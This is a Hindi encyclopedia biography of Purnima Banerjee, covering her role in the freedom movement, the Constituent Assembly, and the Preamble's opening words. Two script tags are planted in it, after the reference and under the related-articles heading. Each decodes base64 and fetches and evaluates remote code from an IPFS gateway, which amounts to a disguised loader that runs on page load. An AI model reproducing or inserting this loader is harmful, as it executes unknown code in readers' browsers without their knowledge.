पूर्णिमा बनर्जी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

पूर्णिमा बनर्जी (अंग्रेज़ी: Purnima Banerjee, जन्म- 1911; मृत्यु- 1951) भारत छोड़ो आंदोलन और महात्मा गांधी के सत्याग्रह से जुड़ी महिला थीं। वह संविधान सभा की सदस्य थीं। समाजवादी विचारधारा से प्रेरित पूर्णिमा बनर्जी उत्तर प्रदेश में आजादी की लड़ाई के लिए बने महिलाओं के समूह की सदस्य थीं। भारत के संविधान को मूल रूप देने वाली समिति में 15 महिलाएं भी शामिल थीं। इन्होंने संविधान के साथ भारतीय समाज के निर्माण में भी महत्वपूर्ण भूमिका निभाई। पूर्णिमा बनर्जी इन्हीं में से एक थीं।

परिचय

पूर्णिमा बनर्जी किसान सभाओं, ट्रेड यूनियनों की व्यवस्था और ग्रामीणों से जुड़े मुद्दे उठाती थीं। भारत के संविधान की शुरुआत होती है "हम भारत के लोग" से और उद्येश्यिका में ये शब्द एक महिला सदस्या पूर्णिमा बनर्जी के सुझाव पर ही डाले गए, ताकि यह स्पष्ट हो जाए कि संविधान का निर्माण भारत के लोगों ने किया है, विदेशी हुक्मरानों ने नहीं।

पूर्णिमा बनर्जी इलाहाबाद, उत्तर प्रदेश में भारतीय राष्ट्रीय कांग्रेस कमेटी की सचिव थीं। वह उत्तर प्रदेश की महिलाओं के एक कट्टरपंथी नेटवर्क में से थीं। वह साल 1930 के दशक के अंत में वे स्वतंत्रता आंदोलन में सबसे आगे थीं। सत्याग्रह और भारत छोड़ो आंदोलन में पूर्णिमा बनर्जी की भागीदारी के लिए उन्हें गिरफ्तार किया गया था। शहर समिति के सचिव के रूप में पूर्णिमा बनर्जी ट्रेड यूनियनों, किसान मीटिंग्स और अधिक ग्रामीण जुड़ाव की दिशा में काम करने और संगठित करने का दायित्व भी उनके ऊपर था।

संविधान सभा में राष्ट्रगान

संविधान सभा के सभापति के तौर पर डॉ. राजेंद्र प्रसाद ने संविधान के मसौदे को पेश करने से पहले जोरदार भाषण दिया था। उन्होंने पहले महात्मा गांधी को नमन किया और कहा कि "मुझे उम्मीद है कि इस संविधान के साथ भविष्य में जिन लोगों को काम करने का सुअवसर प्राप्त होगा वे याद रखेंगे कि यह एक खास तरह की जीत है, जिसे राष्ट्रपिता के मार्गदर्शन में हासिल किया गया है। अब यह हम पर है कि हम अपनी आजादी को कैसे सहेज और सुरक्षित रखेंगे, जिसे बड़े जतनों से हासिल किया गया है"।

संविधान पास होने के बाद इस ऐतिसाहिक संविधान सभा का समापन राष्ट्रगान 'जन गण मन' के साथ हुआ। खास बात यह थी कि यह राष्ट्रगान वरिष्ठ और पूर्व स्वतंत्रता सेनानी रहीं पूर्णिमा बनर्जी ने गाया था। यह भी उल्लेखनीय है कि पूर्णिमा बनर्जी स्वतंत्रता सेनानी अरुणा आसफ़ अली की बहन थीं।[1]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. आज ही के दिन भारत बना था गणराज्य (हिंदी) jagran.com। अभिगमन तिथि: 07 फ़रवरी, 2020।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>